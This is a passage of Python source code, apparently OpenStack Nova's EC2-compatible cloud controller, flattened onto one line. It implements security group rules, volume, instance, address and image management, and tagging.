kwargs.get('ip_permissions', [kwargs]) rule_ids = [] for values in prevalues: rulesvalues = self._rule_args_to_dict(context, values) self._validate_rulevalues(rulesvalues) for values_for_rule in rulesvalues: values_for_rule['parent_group_id'] = security_group['id'] rule_ids.append(self.security_group_api.rule_exists( security_group, values_for_rule)) rule_ids = [id for id in rule_ids if id] if rule_ids: self.security_group_api.remove_rules(context, security_group, rule_ids) return True msg = _("No rule for the specified parameters.") raise exception.InvalidParameterValue(message=msg) # TODO(soren): This has only been tested with Boto as the client. # Unfortunately, it seems Boto is using an old API # for these operations, so support for newer API versions # is sketchy. def authorize_security_group_ingress(self, context, group_name=None, group_id=None, **kwargs): self._validate_group_identifier(group_name, group_id) security_group = self.security_group_api.get(context, group_name, group_id) prevalues = kwargs.get('ip_permissions', [kwargs]) postvalues = [] for values in prevalues: self._validate_security_group_protocol(values) rulesvalues = self._rule_args_to_dict(context, values) self._validate_rulevalues(rulesvalues) for values_for_rule in rulesvalues: values_for_rule['parent_group_id'] = security_group['id'] if self.security_group_api.rule_exists(security_group, values_for_rule): raise exception.SecurityGroupRuleExists( rule=values_for_rule) postvalues.append(values_for_rule) if postvalues: self.security_group_api.add_rules(context, security_group['id'], security_group['name'], postvalues) return True msg = _("No rule for the specified parameters.") raise exception.InvalidParameterValue(message=msg) def _get_source_project_id(self, context, source_security_group_owner_id): if source_security_group_owner_id: # Parse user:project for source group. source_parts = source_security_group_owner_id.split(':') # If no project name specified, assume it's same as user name. # Since we're looking up by project name, the user name is not # used here. It's only read for EC2 API compatibility. if len(source_parts) == 2: source_project_id = source_parts[1] else: source_project_id = source_parts[0] else: source_project_id = context.project_id return source_project_id def create_security_group(self, context, group_name, group_description): if isinstance(group_name, unicode): group_name = group_name.encode('utf-8') if CONF.ec2_strict_validation: # EC2 specification gives constraints for name and description: # Accepts alphanumeric characters, spaces, dashes, and underscores allowed = '^[a-zA-Z0-9_\- ]+$' self.security_group_api.validate_property(group_name, 'name', allowed) self.security_group_api.validate_property(group_description, 'description', allowed) else: # Amazon accepts more symbols. # So, allow POSIX [:print:] characters. allowed = r'^[\x20-\x7E]+$' self.security_group_api.validate_property(group_name, 'name', allowed) group_ref = self.security_group_api.create_security_group( context, group_name, group_description) return {'securityGroupSet': [self._format_security_group(context, group_ref)]} def delete_security_group(self, context, group_name=None, group_id=None, **kwargs): if not group_name and not group_id: err = _("need group_name or group_id") raise exception.MissingParameter(reason=err) security_group = self.security_group_api.get(context, group_name, group_id) self.security_group_api.destroy(context, security_group) return True def get_password_data(self, context, instance_id, **kwargs): # instance_id may be passed in as a list of instances if isinstance(instance_id, list): ec2_id = instance_id[0] else: ec2_id = instance_id validate_ec2_id(ec2_id) instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_id) instance = self.compute_api.get(context, instance_uuid) output = password.extract_password(instance) # NOTE(vish): this should be timestamp from the metadata fields # but it isn't important enough to implement properly now = timeutils.utcnow() return {"InstanceId": ec2_id, "Timestamp": now, "passwordData": output} def get_console_output(self, context, instance_id, **kwargs): LOG.audit(_("Get console output for instance %s"), instance_id, context=context) # instance_id may be passed in as a list of instances if isinstance(instance_id, list): ec2_id = instance_id[0] else: ec2_id = instance_id validate_ec2_id(ec2_id) instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_id) instance = self.compute_api.get(context, instance_uuid) output = self.compute_api.get_console_output(context, instance) now = timeutils.utcnow() return {"InstanceId": ec2_id, "Timestamp": now, "output": base64.b64encode(output)} def describe_volumes(self, context, volume_id=None, **kwargs): if volume_id: volumes = [] for ec2_id in volume_id: validate_ec2_id(ec2_id) internal_id = ec2utils.ec2_vol_id_to_uuid(ec2_id) volume = self.volume_api.get(context, internal_id) volumes.append(volume) else: volumes = self.volume_api.get_all(context) volumes = [self._format_volume(context, v) for v in volumes] return {'volumeSet': volumes} def _format_volume(self, context, volume): valid_ec2_api_volume_status_map = { 'attaching': 'in-use', 'detaching': 'in-use'} instance_ec2_id = None if volume.get('instance_uuid', None): instance_uuid = volume['instance_uuid'] instance = db.instance_get_by_uuid(context.elevated(), instance_uuid) instance_ec2_id = ec2utils.id_to_ec2_inst_id(instance_uuid) v = {} v['volumeId'] = ec2utils.id_to_ec2_vol_id(volume['id']) v['status'] = valid_ec2_api_volume_status_map.get(volume['status'], volume['status']) v['size'] = volume['size'] v['availabilityZone'] = volume['availability_zone'] v['createTime'] = volume['created_at'] if volume['attach_status'] == 'attached': v['attachmentSet'] = [{'attachTime': volume['attach_time'], 'deleteOnTermination': False, 'device': volume['mountpoint'], 'instanceId': instance_ec2_id, 'status': 'attached', 'volumeId': v['volumeId']}] else: v['attachmentSet'] = [{}] if volume.get('snapshot_id') is not None: v['snapshotId'] = ec2utils.id_to_ec2_snap_id(volume['snapshot_id']) else: v['snapshotId'] = None return v def create_volume(self, context, **kwargs): snapshot_ec2id = kwargs.get('snapshot_id', None) if snapshot_ec2id is not None: snapshot_id = ec2utils.ec2_snap_id_to_uuid(kwargs['snapshot_id']) snapshot = self.volume_api.get_snapshot(context, snapshot_id) LOG.audit(_("Create volume from snapshot %s"), snapshot_ec2id, context=context) else: snapshot = None LOG.audit(_("Create volume of %s GB"), kwargs.get('size'), context=context) create_kwargs = dict(snapshot=snapshot, volume_type=kwargs.get('volume_type'), metadata=kwargs.get('metadata'), availability_zone=kwargs.get('availability_zone')) volume = self.volume_api.create(context, kwargs.get('size'), kwargs.get('name'), kwargs.get('description'), **create_kwargs) db.ec2_volume_create(context, volume['id']) # TODO(vish): Instance should be None at db layer instead of # trying to lazy load, but for now we turn it into # a dict to avoid an error. return self._format_volume(context, dict(volume)) def delete_volume(self, context, volume_id, **kwargs): validate_ec2_id(volume_id) volume_id = ec2utils.ec2_vol_id_to_uuid(volume_id) self.volume_api.delete(context, volume_id) return True def attach_volume(self, context, volume_id, instance_id, device, **kwargs): validate_ec2_id(instance_id) validate_ec2_id(volume_id) volume_id = ec2utils.ec2_vol_id_to_uuid(volume_id) instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, instance_id) instance = self.compute_api.get(context, instance_uuid) LOG.audit(_('Attach volume %(volume_id)s to instance %(instance_id)s ' 'at %(device)s'), {'volume_id': volume_id, 'instance_id': instance_id, 'device': device}, context=context) self.compute_api.attach_volume(context, instance, volume_id, device) volume = self.volume_api.get(context, volume_id) return {'attachTime': volume['attach_time'], 'device': volume['mountpoint'], 'instanceId': ec2utils.id_to_ec2_inst_id(instance_uuid), 'requestId': context.request_id, 'status': volume['attach_status'], 'volumeId': ec2utils.id_to_ec2_vol_id(volume_id)} def _get_instance_from_volume(self, context, volume): if volume['instance_uuid']: try: return db.instance_get_by_uuid(context, volume['instance_uuid']) except exception.InstanceNotFound: pass raise exception.VolumeUnattached(volume_id=volume['id']) def detach_volume(self, context, volume_id, **kwargs): validate_ec2_id(volume_id) volume_id = ec2utils.ec2_vol_id_to_uuid(volume_id) LOG.audit(_("Detach volume %s"), volume_id, context=context) volume = self.volume_api.get(context, volume_id) instance = self._get_instance_from_volume(context, volume) self.compute_api.detach_volume(context, instance, volume) return {'attachTime': volume['attach_time'], 'device': volume['mountpoint'], 'instanceId': ec2utils.id_to_ec2_inst_id( volume['instance_uuid']), 'requestId': context.request_id, 'status': volume['attach_status'], 'volumeId': ec2utils.id_to_ec2_vol_id(volume_id)} def _format_kernel_id(self, context, instance_ref, result, key): kernel_uuid = instance_ref['kernel_id'] if kernel_uuid is None or kernel_uuid == '': return result[key] = ec2utils.glance_id_to_ec2_id(context, kernel_uuid, 'aki') def _format_ramdisk_id(self, context, instance_ref, result, key): ramdisk_uuid = instance_ref['ramdisk_id'] if ramdisk_uuid is None or ramdisk_uuid == '': return result[key] = ec2utils.glance_id_to_ec2_id(context, ramdisk_uuid, 'ari') def describe_instance_attribute(self, context, instance_id, attribute, **kwargs): def _unsupported_attribute(instance, result): raise exception.InvalidAttribute(attr=attribute) def _format_attr_block_device_mapping(instance, result): tmp = {} self._format_instance_root_device_name(instance, tmp) self._format_instance_bdm(context, instance['uuid'], tmp['rootDeviceName'], result) def _format_attr_disable_api_termination(instance, result): result['disableApiTermination'] = instance['disable_terminate'] def _format_attr_group_set(instance, result): CloudController._format_group_set(instance, result) def _format_attr_instance_initiated_shutdown_behavior(instance, result): if instance['shutdown_terminate']: result['instanceInitiatedShutdownBehavior'] = 'terminate' else: result['instanceInitiatedShutdownBehavior'] = 'stop' def _format_attr_instance_type(instance, result): self._format_instance_type(instance, result) def _format_attr_kernel(instance, result): self._format_kernel_id(context, instance, result, 'kernel') def _format_attr_ramdisk(instance, result): self._format_ramdisk_id(context, instance, result, 'ramdisk') def _format_attr_root_device_name(instance, result): self._format_instance_root_device_name(instance, result) def _format_attr_source_dest_check(instance, result): _unsupported_attribute(instance, result) def _format_attr_user_data(instance, result): result['userData'] = base64.b64decode(instance['user_data']) attribute_formatter = { 'blockDeviceMapping': _format_attr_block_device_mapping, 'disableApiTermination': _format_attr_disable_api_termination, 'groupSet': _format_attr_group_set, 'instanceInitiatedShutdownBehavior': _format_attr_instance_initiated_shutdown_behavior, 'instanceType': _format_attr_instance_type, 'kernel': _format_attr_kernel, 'ramdisk': _format_attr_ramdisk, 'rootDeviceName': _format_attr_root_device_name, 'sourceDestCheck': _format_attr_source_dest_check, 'userData': _format_attr_user_data, } fn = attribute_formatter.get(attribute) if fn is None: raise exception.InvalidAttribute(attr=attribute) validate_ec2_id(instance_id) instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, instance_id) instance = self.compute_api.get(context, instance_uuid) result = {'instance_id': instance_id} fn(instance, result) return result def describe_instances(self, context, **kwargs): # Optional DescribeInstances argument instance_id = kwargs.get('instance_id', None) filters = kwargs.get('filter', None) instances = self._enforce_valid_instance_ids(context, instance_id) return self._format_describe_instances(context, instance_id=instance_id, instance_cache=instances, filter=filters) def describe_instances_v6(self, context, **kwargs): # Optional DescribeInstancesV6 argument instance_id = kwargs.get('instance_id', None) filters = kwargs.get('filter', None) instances = self._enforce_valid_instance_ids(context, instance_id) return self._format_describe_instances(context, instance_id=instance_id, instance_cache=instances, filter=filters, use_v6=True) def _format_describe_instances(self, context, **kwargs): return {'reservationSet': self._format_instances(context, **kwargs)} def _format_run_instances(self, context, reservation_id): i = self._format_instances(context, reservation_id=reservation_id) assert len(i) == 1 return i[0] def _format_terminate_instances(self, context, instance_id, previous_states): instances_set = [] for (ec2_id, previous_state) in zip(instance_id, previous_states): i = {} i['instanceId'] = ec2_id i['previousState'] = _state_description(previous_state['vm_state'], previous_state['shutdown_terminate']) try: instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_id) instance = self.compute_api.get(context, instance_uuid) i['currentState'] = _state_description(instance['vm_state'], instance['shutdown_terminate']) except exception.NotFound: i['currentState'] = _state_description(vm_states.DELETED, True) instances_set.append(i) return {'instancesSet': instances_set} def _format_instance_bdm(self, context, instance_uuid, root_device_name, result): """Format InstanceBlockDeviceMappingResponseItemType.""" root_device_type = 'instance-store' mapping = [] for bdm in block_device.legacy_mapping( db.block_device_mapping_get_all_by_instance(context, instance_uuid)): volume_id = bdm['volume_id'] if (volume_id is None or bdm['no_device']): continue if (bdm['device_name'] == root_device_name and (bdm['snapshot_id'] or bdm['volume_id'])): assert not bdm['virtual_name'] root_device_type = 'ebs' vol = self.volume_api.get(context, volume_id) LOG.debug(_("vol = %s\n"), vol) # TODO(yamahata): volume attach time ebs = {'volumeId': ec2utils.id_to_ec2_vol_id(volume_id), 'deleteOnTermination': bdm['delete_on_termination'], 'attachTime': vol['attach_time'] or '', 'status': vol['attach_status'], } res = {'deviceName': bdm['device_name'], 'ebs': ebs, } mapping.append(res) if mapping: result['blockDeviceMapping'] = mapping result['rootDeviceType'] = root_device_type @staticmethod def _format_instance_root_device_name(instance, result): result['rootDeviceName'] = (instance.get('root_device_name') or block_device.DEFAULT_ROOT_DEV_NAME) @staticmethod def _format_instance_type(instance, result): instance_type = flavors.extract_flavor(instance) result['instanceType'] = instance_type['name'] @staticmethod def _format_group_set(instance, result): security_group_names = [] if instance.get('security_groups'): for security_group in instance['security_groups']: security_group_names.append(security_group['name']) result['groupSet'] = utils.convert_to_list_dict( security_group_names, 'groupId') def _format_instances(self, context, instance_id=None, use_v6=False, instances_cache=None, **search_opts): # TODO(termie): this method is poorly named as its name does not imply # that it will be making a variety of database calls # rather than simply formatting a bunch of instances that # were handed to it reservations = {} if not instances_cache: instances_cache = {} # NOTE(vish): instance_id is an optional list of ids to filter by if instance_id: instances = [] for ec2_id in instance_id: if ec2_id in instances_cache: instances.append(instances_cache[ec2_id]) else: try: instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_id) instance = self.compute_api.get(context, instance_uuid) except exception.NotFound: continue instances.append(instance) else: try: # always filter out deleted instances search_opts['deleted'] = False instances = self.compute_api.get_all(context, search_opts=search_opts, sort_dir='asc') except exception.NotFound: instances = [] for instance in instances: if not context.is_admin: if pipelib.is_vpn_image(instance['image_ref']): continue i = {} instance_uuid = instance['uuid'] ec2_id = ec2utils.id_to_ec2_inst_id(instance_uuid) i['instanceId'] = ec2_id image_uuid = instance['image_ref'] i['imageId'] = ec2utils.glance_id_to_ec2_id(context, image_uuid) self._format_kernel_id(context, instance, i, 'kernelId') self._format_ramdisk_id(context, instance, i, 'ramdiskId') i['instanceState'] = _state_description( instance['vm_state'], instance['shutdown_terminate']) fixed_ip = None floating_ip = None ip_info = ec2utils.get_ip_info_for_instance(context, instance) if ip_info['fixed_ips']: fixed_ip = ip_info['fixed_ips'][0] if ip_info['floating_ips']: floating_ip = ip_info['floating_ips'][0] if ip_info['fixed_ip6s']: i['dnsNameV6'] = ip_info['fixed_ip6s'][0] if CONF.ec2_private_dns_show_ip: i['privateDnsName'] = fixed_ip else: i['privateDnsName'] = instance['hostname'] i['privateIpAddress'] = fixed_ip if floating_ip is not None: i['ipAddress'] = floating_ip i['dnsName'] = floating_ip i['keyName'] = instance['key_name'] i['tagSet'] = [] for k, v in utils.instance_meta(instance).iteritems(): i['tagSet'].append({'key': k, 'value': v}) if context.is_admin: i['keyName'] = '%s (%s, %s)' % (i['keyName'], instance['project_id'], instance['host']) i['productCodesSet'] = utils.convert_to_list_dict([], 'product_codes') self._format_instance_type(instance, i) i['launchTime'] = instance['created_at'] i['amiLaunchIndex'] = instance['launch_index'] self._format_instance_root_device_name(instance, i) self._format_instance_bdm(context, instance['uuid'], i['rootDeviceName'], i) host = instance['host'] zone = ec2utils.get_availability_zone_by_host(host) i['placement'] = {'availabilityZone': zone} if instance['reservation_id'] not in reservations: r = {} r['reservationId'] = instance['reservation_id'] r['ownerId'] = instance['project_id'] self._format_group_set(instance, r) r['instancesSet'] = [] reservations[instance['reservation_id']] = r reservations[instance['reservation_id']]['instancesSet'].append(i) return list(reservations.values()) def describe_addresses(self, context, public_ip=None, **kwargs): if public_ip: floatings = [] for address in public_ip: floating = self.network_api.get_floating_ip_by_address(context, address) floatings.append(floating) else: floatings = self.network_api.get_floating_ips_by_project(context) addresses = [self._format_address(context, f) for f in floatings] return {'addressesSet': addresses} def _format_address(self, context, floating_ip): ec2_id = None if floating_ip['fixed_ip_id']: fixed_id = floating_ip['fixed_ip_id'] fixed = self.network_api.get_fixed_ip(context, fixed_id) if fixed['instance_uuid'] is not None: ec2_id = ec2utils.id_to_ec2_inst_id(fixed['instance_uuid']) address = {'public_ip': floating_ip['address'], 'instance_id': ec2_id} if context.is_admin: details = "%s (%s)" % (address['instance_id'], floating_ip['project_id']) address['instance_id'] = details return address def allocate_address(self, context, **kwargs): LOG.audit(_("Allocate address"), context=context) public_ip = self.network_api.allocate_floating_ip(context) return {'publicIp': public_ip} def release_address(self, context, public_ip, **kwargs): LOG.audit(_('Release address %s'), public_ip, context=context) self.network_api.release_floating_ip(context, address=public_ip) return {'return': "true"} def associate_address(self, context, instance_id, public_ip, **kwargs): LOG.audit(_("Associate address %(public_ip)s to instance " "%(instance_id)s"), {'public_ip': public_ip, 'instance_id': instance_id}, context=context) instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, instance_id) instance = self.compute_api.get(context, instance_uuid) cached_ipinfo = ec2utils.get_ip_info_for_instance(context, instance) fixed_ips = cached_ipinfo['fixed_ips'] + cached_ipinfo['fixed_ip6s'] if not fixed_ips: msg = _('Unable to associate IP Address, no fixed_ips.') raise exception.NoMoreFixedIps(message=msg) # TODO(tr3buchet): this will associate the floating IP with the # first fixed_ip an instance has. This should be # changed to support specifying a particular fixed_ip if # multiple exist but this may not apply to ec2.. if len(fixed_ips) > 1: msg = _('multiple fixed_ips exist, using the first: %s') LOG.warning(msg, fixed_ips[0]) self.network_api.associate_floating_ip(context, instance, floating_address=public_ip, fixed_address=fixed_ips[0]) return {'return': 'true'} def disassociate_address(self, context, public_ip, **kwargs): instance_id = self.network_api.get_instance_id_by_floating_address( context, public_ip) if instance_id: instance = self.compute_api.get(context, instance_id) LOG.audit(_("Disassociate address %s"), public_ip, context=context) self.network_api.disassociate_floating_ip(context, instance, address=public_ip) return {'return': "true"} def run_instances(self, context, **kwargs): min_count = int(kwargs.get('min_count', 1)) client_token = kwargs.get('client_token') if client_token: resv_id = self._resv_id_from_token(context, client_token) if resv_id: # since this client_token already corresponds to a reservation # id, this returns a proper response without creating a new # instance return self._format_run_instances(context, resv_id) if kwargs.get('kernel_id'): kernel = self._get_image(context, kwargs['kernel_id']) kwargs['kernel_id'] = ec2utils.id_to_glance_id(context, kernel['id']) if kwargs.get('ramdisk_id'): ramdisk = self._get_image(context, kwargs['ramdisk_id']) kwargs['ramdisk_id'] = ec2utils.id_to_glance_id(context, ramdisk['id']) for bdm in kwargs.get('block_device_mapping', []): _parse_block_device_mapping(bdm) image = self._get_image(context, kwargs['image_id']) image_uuid = ec2utils.id_to_glance_id(context, image['id']) if image: image_state = self._get_image_state(image) else: raise exception.ImageNotFoundEC2(image_id=kwargs['image_id']) if image_state != 'available': msg = _('Image must be available') raise exception.ImageNotActive(message=msg) (instances, resv_id) = self.compute_api.create(context, instance_type=flavors.get_flavor_by_name( kwargs.get('instance_type', None)), image_href=image_uuid, max_count=int(kwargs.get('max_count', min_count)), min_count=min_count, kernel_id=kwargs.get('kernel_id'), ramdisk_id=kwargs.get('ramdisk_id'), key_name=kwargs.get('key_name'), user_data=kwargs.get('user_data'), security_group=kwargs.get('security_group'), availability_zone=kwargs.get('placement', {}).get( 'availability_zone'), block_device_mapping=kwargs.get('block_device_mapping', {})) instances = self._format_run_instances(context, resv_id) if instances: instance_ids = [i['instanceId'] for i in instances['instancesSet']] self._add_client_token(context, client_token, instance_ids) return instances def _add_client_token(self, context, client_token, instance_ids): """Add client token to reservation ID mapping.""" if client_token: for ec2_id in instance_ids: instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_id) db.instance_system_metadata_update( context, instance_uuid, {'EC2_client_token': client_token}, delete=False) def _remove_client_token(self, context, instance_ids): """Remove client token to reservation ID mapping.""" for ec2_id in instance_ids: instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_id) sys_meta = db.instance_system_metadata_get(context, instance_uuid) if 'EC2_client_token' in sys_meta: del sys_meta['EC2_client_token'] db.instance_system_metadata_update(context, instance_uuid, sys_meta, delete=True) def _resv_id_from_token(self, context, client_token): """Get reservation ID from db.""" resv_id = None sys_metas = self.compute_api.get_all_system_metadata( context, search_filts=[{'key': ['EC2_client_token']}, {'value': [client_token]}]) for sys_meta in sys_metas: if sys_meta and sys_meta.get('value') == client_token: instance = instance_obj.Instance.get_by_uuid( context, sys_meta['instance_id'], expected_attrs=None) resv_id = instance.get('reservation_id') break return resv_id def _ec2_ids_to_instances(self, context, instance_id, objects=False): """Get all instances first, to prevent partial executions.""" instances = [] extra = ['system_metadata', 'metadata'] for ec2_id in instance_id: validate_ec2_id(ec2_id) instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_id) if objects: instance = instance_obj.Instance.get_by_uuid( context, instance_uuid, expected_attrs=extra) else: instance = self.compute_api.get(context, instance_uuid) instances.append(instance) return instances def terminate_instances(self, context, instance_id, **kwargs): """Terminate each instance in instance_id, which is a list of ec2 ids. instance_id is a kwarg so its name cannot be modified. """ previous_states = self._ec2_ids_to_instances(context, instance_id, objects=True) self._remove_client_token(context, instance_id) LOG.debug(_("Going to start terminating instances")) for instance in previous_states: self.compute_api.delete(context, instance) return self._format_terminate_instances(context, instance_id, previous_states) def reboot_instances(self, context, instance_id, **kwargs): """instance_id is a list of instance ids.""" instances = self._ec2_ids_to_instances(context, instance_id, objects=True) LOG.audit(_("Reboot instance %r"), instance_id, context=context) for instance in instances: self.compute_api.reboot(context, instance, 'HARD') return True def stop_instances(self, context, instance_id, **kwargs): """Stop each instances in instance_id. Here instance_id is a list of instance ids """ instances = self._ec2_ids_to_instances(context, instance_id, True) LOG.debug(_("Going to stop instances")) for instance in instances: self.compute_api.stop(context, instance) return True def start_instances(self, context, instance_id, **kwargs): """Start each instances in instance_id. Here instance_id is a list of instance ids """ instances = self._ec2_ids_to_instances(context, instance_id, True) LOG.debug(_("Going to start instances")) for instance in instances: self.compute_api.start(context, instance) return True def _get_image(self, context, ec2_id): try: internal_id = ec2utils.ec2_id_to_id(ec2_id) image = self.image_service.show(context, internal_id) except (exception.InvalidEc2Id, exception.ImageNotFound): filters = {'name': ec2_id} images = self.image_service.detail(context, filters=filters) try: return images[0] except IndexError: raise exception.ImageNotFound(image_id=ec2_id) image_type = ec2_id.split('-')[0] if ec2utils.image_type(image.get('container_format')) != image_type: raise exception.ImageNotFound(image_id=ec2_id) return image def _format_image(self, image): """Convert from format defined by GlanceImageService to S3 format.""" i = {} image_type = ec2utils.image_type(image.get('container_format')) ec2_id = ec2utils.image_ec2_id(image.get('id'), image_type) name = image.get('name') i['imageId'] = ec2_id kernel_id = image['properties'].get('kernel_id') if kernel_id: i['kernelId'] = ec2utils.image_ec2_id(kernel_id, 'aki') ramdisk_id = image['properties'].get('ramdisk_id') if ramdisk_id: i['ramdiskId'] = ec2utils.image_ec2_id(ramdisk_id, 'ari') i['imageOwnerId'] = image.get('owner') img_loc = image['properties'].get('image_location') if img_loc: i['imageLocation'] = img_loc else: i['imageLocation'] = "%s (%s)" % (img_loc, name) i['name'] = name if not name and img_loc: # This should only occur for images registered with ec2 api # prior to that api populating the glance name i['name'] = img_loc i['imageState'] = self._get_image_state(image) i['description'] = image.get('description') display_mapping = {'aki': 'kernel', 'ari': 'ramdisk', 'ami': 'machine'} i['imageType'] = display_mapping.get(image_type) i['isPublic'] = not not image.get('is_public') i['architecture'] = image['properties'].get('architecture') properties = image['properties'] root_device_name = block_device.properties_root_device_name(properties) root_device_type = 'instance-store' for bdm in properties.get('block_device_mapping', []): if (block_device.strip_dev(bdm.get('device_name')) == block_device.strip_dev(root_device_name) and ('snapshot_id' in bdm or 'volume_id' in bdm) and not bdm.get('no_device')): root_device_type = 'ebs' i['rootDeviceName'] = (root_device_name or block_device.DEFAULT_ROOT_DEV_NAME) i['rootDeviceType'] = root_device_type _format_mappings(properties, i) return i def describe_images(self, context, image_id=None, **kwargs): # NOTE: image_id is a list! if image_id: images = [] for ec2_id in image_id: try: image = self._get_image(context, ec2_id) except exception.NotFound: raise exception.ImageNotFound(image_id=ec2_id) images.append(image) else: images = self.image_service.detail(context) images = [self._format_image(i) for i in images] return {'imagesSet': images} def deregister_image(self, context, image_id, **kwargs): LOG.audit(_("De-registering image %s"), image_id, context=context) image = self._get_image(context, image_id) internal_id = image['id'] self.image_service.delete(context, internal_id) return True def _register_image(self, context, metadata): image = self.image_service.create(context, metadata) image_type = ec2utils.image_type(image.get('container_format')) image_id = ec2utils.image_ec2_id(image['id'], image_type) return image_id def register_image(self, context, image_location=None, **kwargs): if image_location is None and kwargs.get('name'): image_location = kwargs['name'] if image_location is None: msg = _('imageLocation is required') raise exception.MissingParameter(reason=msg) metadata = {'properties': {'image_location': image_location}} if kwargs.get('name'): metadata['name'] = kwargs['name'] else: metadata['name'] = image_location if 'root_device_name' in kwargs: metadata['properties']['root_device_name'] = kwargs.get( 'root_device_name') mappings = [_parse_block_device_mapping(bdm) for bdm in kwargs.get('block_device_mapping', [])] if mappings: metadata['properties']['block_device_mapping'] = mappings image_id = self._register_image(context, metadata) LOG.audit(_('Registered image %(image_location)s with id ' '%(image_id)s'), {'image_location': image_location, 'image_id': image_id}, context=context) return {'imageId': image_id} def describe_image_attribute(self, context, image_id, attribute, **kwargs): def _block_device_mapping_attribute(image, result): _format_mappings(image['properties'], result) def _launch_permission_attribute(image, result): result['launchPermission'] = [] if image['is_public']: result['launchPermission'].append({'group': 'all'}) def _root_device_name_attribute(image, result): _prop_root_dev_name = block_device.properties_root_device_name result['rootDeviceName'] = _prop_root_dev_name(image['properties']) if result['rootDeviceName'] is None: result['rootDeviceName'] = block_device.DEFAULT_ROOT_DEV_NAME def _kernel_attribute(image, result): kernel_id = image['properties'].get('kernel_id') if kernel_id: result['kernel'] = { 'value': ec2utils.image_ec2_id(kernel_id, 'aki') } def _ramdisk_attribute(image, result): ramdisk_id = image['properties'].get('ramdisk_id') if ramdisk_id: result['ramdisk'] = { 'value': ec2utils.image_ec2_id(ramdisk_id, 'ari') } supported_attributes = { 'blockDeviceMapping': _block_device_mapping_attribute, 'launchPermission': _launch_permission_attribute, 'rootDeviceName': _root_device_name_attribute, 'kernel': _kernel_attribute, 'ramdisk': _ramdisk_attribute, } fn = supported_attributes.get(attribute) if fn is None: raise exception.InvalidAttribute(attr=attribute) try: image = self._get_image(context, image_id) except exception.NotFound: raise exception.ImageNotFound(image_id=image_id) result = {'imageId': image_id} fn(image, result) return result def modify_image_attribute(self, context, image_id, attribute, operation_type, **kwargs): # TODO(devcamcar): Support users and groups other than 'all'. if attribute != 'launchPermission': raise exception.InvalidAttribute(attr=attribute) if 'user_group' not in kwargs: msg = _('user or group not specified') raise exception.MissingParameter(reason=msg) if len(kwargs['user_group']) != 1 and kwargs['user_group'][0] != 'all': msg = _('only group "all" is supported') raise exception.InvalidParameterValue(message=msg) if operation_type not in ['add', 'remove']: msg = _('operation_type must be add or remove') raise exception.InvalidParameterValue(message=msg) LOG.audit(_("Updating image %s publicity"), image_id, context=context) try: image = self._get_image(context, image_id) except exception.NotFound: raise exception.ImageNotFound(image_id=image_id) internal_id = image['id'] del(image['id']) image['is_public'] = (operation_type == 'add') try: return self.image_service.update(context, internal_id, image) except exception.ImageNotAuthorized: msg = _('Not allowed to modify attributes for image %s') % image_id raise exception.NotAuthorized(message=msg) def update_image(self, context, image_id, **kwargs): internal_id = ec2utils.ec2_id_to_id(image_id) result = self.image_service.update(context, internal_id, dict(kwargs)) return result # TODO(yamahata): race condition # At the moment there is no way to prevent others from # manipulating instances/volumes/snapshots. # As other code doesn't take it into consideration, here we don't # care of it for now. Ostrich algorithm def create_image(self, context, instance_id, **kwargs): # NOTE(yamahata): name/description are ignored by register_image(), # do so here no_reboot = kwargs.get('no_reboot', False) name = kwargs.get('name') validate_ec2_id(instance_id) ec2_instance_id = instance_id instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_instance_id) instance = self.compute_api.get(context, instance_uuid, want_objects=True) bdms = self.compute_api.get_instance_bdms(context, instance) # CreateImage only supported for the analogue of EBS-backed instances if not self.compute_api.is_volume_backed_instance(context, instance, bdms): msg = _("Invalid value '%(ec2_instance_id)s' for instanceId. " "Instance does not have a volume attached at root " "(%(root)s)") % {'root': instance['root_device_name'], 'ec2_instance_id': ec2_instance_id} raise exception.InvalidParameterValue(err=msg) # stop the instance if necessary restart_instance = False if not no_reboot: vm_state = instance['vm_state'] # if the instance is in subtle state, refuse to proceed. if vm_state not in (vm_states.ACTIVE, vm_states.STOPPED): raise exception.InstanceNotRunning(instance_id=ec2_instance_id) if vm_state == vm_states.ACTIVE: restart_instance = True self.compute_api.stop(context, instance) # wait instance for really stopped start_time = time.time() while vm_state != vm_states.STOPPED: time.sleep(1) instance = self.compute_api.get(context, instance_uuid, want_objects=True) vm_state = instance['vm_state'] # NOTE(yamahata): timeout and error. 1 hour for now for safety. # Is it too short/long? # Or is there any better way? timeout = 1 * 60 * 60 if time.time() > start_time + timeout: err = _("Couldn't stop instance within %d sec") % timeout raise exception.InternalError(message=err) glance_uuid = instance['image_ref'] ec2_image_id = ec2utils.glance_id_to_ec2_id(context, glance_uuid) src_image = self._get_image(context, ec2_image_id) image_meta = dict(src_image) def _unmap_id_property(properties, name): if properties[name]: properties[name] = ec2utils.id_to_glance_id(context, properties[name]) # ensure the ID properties are unmapped back to the glance UUID _unmap_id_property(image_meta['properties'], 'kernel_id') _unmap_id_property(image_meta['properties'], 'ramdisk_id') # meaningful image name name_map = dict(instance=instance['uuid'], now=timeutils.isotime()) name = name or _('image of %(instance)s at %(now)s') % name_map new_image = self.compute_api.snapshot_volume_backed(context, instance, image_meta, name) ec2_id = ec2utils.glance_id_to_ec2_id(context, new_image['id']) if restart_instance: self.compute_api.start(context, instance) return {'imageId': ec2_id} def create_tags(self, context, **kwargs): """Add tags to a resource Returns True on success, error on failure. :param context: context under which the method is called """ resources = kwargs.get('resource_id', None) tags = kwargs.get('tag', None) if resources is None or tags is None: msg = _('resource_id and tag are required') raise exception.MissingParameter(reason=msg) if not isinstance(resources, (tuple, list, set)): msg = _('Expecting a list of resources') raise exception.InvalidParameterValue(message=msg) for r in resources: if ec2utils.resource_type_from_id(context, r) != 'instance': msg = _('Only instances implemented') raise exception.InvalidParameterValue(message=msg) if not isinstance(tags, (tuple, list, set)): msg = _('Expecting a list of tagSets') raise exception.InvalidParameterValue(message=msg) metadata = {} for tag in tags: if not isinstance(tag, dict): err = _('Expecting tagSet to be key/value pairs') raise exception.InvalidParameterValue(message=err) key = tag.get('key', None) val = 